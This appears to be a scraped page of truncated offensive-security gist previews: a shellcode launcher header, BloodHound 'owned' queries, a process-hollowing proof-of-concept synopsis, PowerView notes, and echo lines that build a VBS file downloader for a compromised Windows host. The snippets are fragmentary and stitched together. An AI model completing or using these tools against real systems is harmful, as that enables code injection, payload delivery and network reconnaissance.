peewpw

# 64 bit compatible shellcode launcher
#
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
#
# based on work from:
#   http://www.debasish.in/2012/04/execute-shellcode-using-python.html
#   https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/
#   https://stackoverflow.com/a/61258392
#

seajaysec

{
    "queries": [{
            "name": "List all owned users",
            "queryList": [{
                "final": true,
                "query": "MATCH (m:User) WHERE m.owned=TRUE RETURN m"
            }]
        },
        {
            "name": "List all owned computers",

yingray

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"encoding/hex"
	"fmt"
)

xenoscr

function Start-Hollow {
<#
.SYNOPSIS
	This is a proof-of-concept for process hollowing. There is nothing new here except
	maybe the use of NtCreateProcessEx which has some advantages in that it offers a
	convenient way to set a parent process and avoids the bothersome Get/SetThreadContext.
	On the flipside CreateRemoteThreadEx/NtCreateThreadEx are pretty suspicious API's.

	I wrote this POC mostly to educate myself on the mechanics of hollowing. It is possible
	to load the Hollow from an internal byte array straight into memory but I have not

HarmJ0y

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

mattifestation

# Author: Matthew Graeber (@mattifestation)
# Load dnlib with Add-Type first
# dnlib can be obtained here: https://github.com/0xd4d/dnlib
# Example: ls C:\ -Recurse | Get-AssemblyLoadReference
filter Get-AssemblyLoadReference {
    param (
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [Alias('FullName')]
        [String]
        [ValidateNotNullOrEmpty()]

sckalath

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs